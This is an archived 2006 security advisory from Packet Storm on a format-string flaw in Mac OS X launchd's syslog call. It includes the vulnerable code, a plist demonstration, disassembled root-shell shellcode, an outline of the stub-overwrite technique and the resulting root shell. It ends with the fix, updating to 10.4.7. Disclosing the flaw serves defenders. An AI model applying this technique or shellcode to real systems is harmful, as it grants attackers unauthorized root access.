exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New


Posted Jul 2, 2006
Authored by Kevin Finisterre | Site digitalmunition.com

Mac OS X versions 10.4.6 and below are susceptible to a vulnerability in launchd's syslog() function.

tags | advisory
systems | apple, osx
SHA-256 | ebe05c1d233358f6cc47cf20ff34ce80da5d2fbaea89f2ca9ece03f88113cdf0


Change Mirror Download
DMA[2006-0628a] - 'Apple OSX launchd unformatted syslog() vulnerability'
Author: Kevin Finisterre
Vendor: http://www.apple.com/
Product: 'Mac OSX <=10.4.6'

In Mac OS X v10.4 Tiger, Apple introduced a new system startup program called launchd. The launchd daemon takes
over many tasks from cron, xinetd, mach_init, and init, which are UNIX programs that traditionally have handled
system initialization, called systems scripts, run startup items, and generally prepared the system for the user.

The following chunk of code provides a facility for launchd to send messages to the syslog daemon. For some reason
a blatantly obvious format string issue has remained in the codebase since it was originally created. In the
snippet below you can see that syslog() is called without a format specifier.

CF_syslog(int level, CFStringRef message,...)
char buf[8192];
CFStringRef cooked_msg;
va_list ap;

va_start(ap, message);
cooked_msg = CFStringCreateWithFormatAndArguments(NULL, NULL, message, ap);

if (CFStringGetCString(cooked_msg, buf, sizeof(buf), kCFStringEncodingUTF8))
syslog(level, buf);


Because of this error it is possible to call CF_syslog() with user supplied data that will in turn be passed to an
unformatted syslog() call. With the aid of a malformed plist file we can demonstrate the issue quite easily.

k-fs-ibook:~/Library/LaunchAgents kf$ cat com.formatstring.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">

k-fs-ibook:~/Library/LaunchAgents kf$ launchctl load -w ./com.formatstring.plist
k-fs-ibook:~/Library/LaunchAgents kf$ launchd[1511]: AAAA.bffffc20.1.0.357b: execve(): No such file or directory

The paper 'Non eXecutable Stack Lovin on OSX86' was written during my early attempts at exploiting /sbin/launchd.
The technique used below is identical to what was outlined in the paper. In our exploit we overwrite the dyld_stub
for close() and point it at the heap where we have placed shellcode to call seteuid(0) and then to execve() /tmp/sh.
Since /bin/sh drops privs a simple wrapper is used to take full blown root.

(gdb) x/2i dyld_stub_close
0xa0011163 <dyld_stub_close>: mov $0x1811111,%eax
0xa0011168 <dyld_stub_strcmp>: jmp *%eax

(gdb) x/17i 0x1811111
Launchd makes multiple calls to both seteuid(getuid()) and seteuid(0)... thanks for saving a lil root lovin for me.
0x1811111: xor %eax,%eax
0x1811113: push %eax
0x1811114: push %eax
0x1811115: mov $0xb7,%al
0x1811117: int $0x80

This is just nemos execve() using /tmp/sh.
0x1811119: xor %eax,%eax
0x181111b: push %eax
0x181111c: push $0x68732f2f
0x1811121: push $0x706d742f
0x1811126: mov %esp,%ebx
0x1811128: push %eax
0x1811129: push %esp
0x181112a: push %esp
0x181112b: push %ebx
0x181112c: push %ebx
0x181112d: mov $0x3b,%al
0x181112f: int $0x80

After everything is layed out properly we can kick back and enjoy our root shell ala

k-fs-computer:~ kf$ ./FailureToLaunch.pl
open a new window and type - "launchctl load ./com.pwnage.plist"
launchd[5509]: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)

Work Around:
Install 10.4.7 update

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By